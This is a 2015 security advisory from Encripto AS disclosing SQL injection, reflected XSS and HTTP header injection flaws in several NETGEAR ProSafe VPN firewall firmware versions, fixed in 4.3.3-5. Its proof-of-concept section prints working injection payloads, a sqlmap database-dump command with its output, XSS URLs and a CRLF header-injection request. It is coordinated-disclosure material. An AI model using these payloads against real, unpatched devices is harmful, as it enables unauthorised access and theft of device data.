Security Advisory

NETGEAR® ProSafe®

25th of June 2015

Juan J. Güelfo
CEO & Lead IT-security consultant at Encripto AS

About Encripto AS

Encripto is a Norwegian company which provides specialized services within IT-security. Our core expertise is security testing, network security monitoring and training.

Encripto is committed to information security. We do research to discover trends, new vulnerabilities and better ways to mitigate them. We believe in acting as good internet citizens to the industry, whether you are a provider or a user.

You can read more about us at http://www.encripto.no

Timeline and revision history

- ***25th of June 2015***
  The vendor releases firmware version 4.3.3-5, which fixes the vulnerabilities.
  Public disclosure of the security advisory.

- ***3rd of April 2015***
  The vendor confirms the presence of the vulnerabilities and provides a provisional list with vulnerable products and firmware versions.

- ***31st of March 2015***
  New attempt to contact the vendor is made.
  The vendor acknowledges the case and proceeds to verify the findings.

- ***20th of March 2015***
  New vulnerabilities were discovered. Advisory update.

- ***19th of March 2015***
  Vulnerabilities discovered by the researcher and details shared with the vendor.

Disclaimer

The material presented in this document is for educational purposes only. Encripto AS cannot be responsible for any loss or damage carried out by any technique presented in this material. The reader is the only one responsible for applying this knowledge, which is at his / her own risk.

Any of the trademarks, service marks, collective marks, design rights, personality rights or similar rights that are mentioned, used or cited in this document is property of their respective owners.

License

1. Background

According to the vendor, NETGEAR® ProSafe® business-class VPN Firewalls are high performing routers that provide full secure network access between headquarter locations, remote/branch offices and remote workers.

2. Summary

Multiple NETGEAR® ProSafe® routers, running firmware version 4.3.2-7 and 4.3.3-3, are affected by SQL and HTTP header injection, and multiple Reflected Cross-Site Scripting vulnerabilities.

3. Affected Products

The following table gathers the list of vulnerable products with their respective firmware versions.

Product	Firmware versions
NETGEAR® ProSafe® SRX5308	4.3.2-7 and 4.3.3-3
NETGEAR® ProSafe® FVS336Gv3	4.3.2-7 and 4.3.3-3
NETGEAR® ProSafe® FVS336Gv2	4.3.2-7 and 4.3.3-3
NETGEAR® ProSafe® FVS318N	4.3.2-7 and 4.3.3-3

Previous versions of the firmware could also be affected, but this has not been verified.

4. Vulnerabilities and Proof of Concept (PoC)

The following PoCs will assume that the vulnerable device is using a standard configuration, and it can be found at https://192.168.1.1

- **SQL Injection vulnerability**
  The parameter “portal” of the SSL VPN web application is affected by SQL injection. This could allow an attacker to interact with the Sqlite database supporting the device.

  Sending the following payloads as portal values resulted in different responses:

  ```
  SSL-VPN47034719'%20or%20'5358'%3d'5358

  SSL-VPN47034719'%20or%20'5358'%3d'5359
  ```

  The vulnerability could be exploited with automated tools, such as SQLmap.
  The following GET request may be used as a base.

  ```
  GET /scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN HTTP/1.1
  Host: 192.168.1.1
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0
  Iceweasel/31.5.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  ```

Command example:

```
python sqlmap.py -r sqli.txt -p portal --threads 5 --dump --force-ssl --dbms=sqlite

[…OUTPUT SUPPRESSED…]

[13:51:01] [INFO] GET parameter 'portal' seems to be 'AND boolean-based blind - WHERE or
HAVING clause' injectable (with --string="NETGEAR ProSafe&#8482; - SSL-VPN")

[…OUTPUT SUPPRESSED…]

GET parameter 'portal' is vulnerable. Do you want to keep testing the others (if any)?
[y/N]
sqlmap identified the following injection points with a total of 39 HTTP(s) requests:
---
Parameter: portal (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=portalLogin.htm&portal=SSL-VPN' AND 7037=7037 AND 'iBib'='iBib
---
[13:51:12] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
```

As an example, the database structure and its contents could be retrieved.

```
Database: SQLite_masterdb
[238 tables]
+-------------------------------------+
| AlgConf                             |
| AttackChecks                        |
| AttackChecks6                       |
| AvailableLanHost                    |
| BandWidthProfile                    |
| BandWidthProfileSpeed               |
| BandWidthProfileStatus              |
| BlockSites                          |
| BwMonStat                           |

[…OUTPUT SUPPRESSED…]
```

In addition to the “portal” parameter, the “USERDBDomains.Domainname” and “USERDBUsers.UserName” of the “/scgi-bin/platform.cgi” page presented a similar behavior.

- **Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities**
  The “portal”, “Login.PortalName” and “stuMsg” parameters of the SSL VPN web application are affected by Reflected XSS.

  The “Login.PortalName” is originally a POST parameter that can be provided via GET as well.

  The following links should document the case. A simple JavaScript payload has been used in these examples:

```
https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-
VPN"><script>alert("XSS")</script>

https://192.168.1.1/scgi-bin/platform.cgi?thispage=portalLogin.htm&Login.PortalName=SSL-
VPN"><script>alert("XSS")<%2fscript>&USERDBUsers.UserName=test&USERDBUsers.Password=test
&USERDBDomains.Domainname=geardomain&button.login.router_status=Login&Login.userAgent=Mo
zilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A31.0%29+Gecko%2F20100101+Firefox%2F31.0+Icewe
asel%2F31.5.0

https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-
VPN&stuMsg=Usereb<script>alert("XSS")<%2fscript>
```

- **HTTP header injection vulnerability**
  The "Login.PortalName" of the SSL VPN web application is affected by HTTP header injection. This could be leveraged by an attacker in order to split HTTP responses or inject new headers.

  The following request demonstrates the issue when submitting the payload in a GET request. The same results could be achieved with a POST request.

```
GET /scgi-bin/platform.cgi?thispage=portalLogin.htm&Login.PortalName=c9b54%0d%New-
header:+8897%0d%0a&USERDBUsers.UserName=test&USERDBUsers.Password=test&USERDBDomains.Dom
ainname=geardomain&button.login.router_status=Login&Login.userAgent=Mozilla%2F5.0+%28X11
%3B+Linux+x86_64%3B+rv%3A31.0%29+Gecko%2F20100101+Firefox%2F31.0+Iceweasel%2F31.5.0
HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0
Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSL-VPN
Connection: keep-alive

HTTP/1.0 302 Moved Temporarily
Date: Thu, 31 Jan 2013 06:31:50 GMT
Server: Embedded HTTP Server.
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Location: https://192.168.1.1:443/scgi-
bin/platform.cgi?page=portalLogin.htm&portal=c9b54
New-header: 8897
&stuMsg=SSLVPN User authentication Failed. Use the correct SSL portal URL to login.
```

5. Remediation

The vendor has released firmware version 4.3.3-5, which fixes the issues.
Encripto encourages product owners to upgrade to this version as soon as possible.

6. Credit

The vulnerabilities were discovered by Juan J. Güelfo at Encripto AS.
E-mail: post@encripto.no
Web: http://www.encripto.no

For more information about Encripto's research policy, please visit http://www.encripto.no/forskning/

7. Special Thanks

Special thanks to Maarten Hoogcarspel from the Netgear support team for his quick response and professional case handling.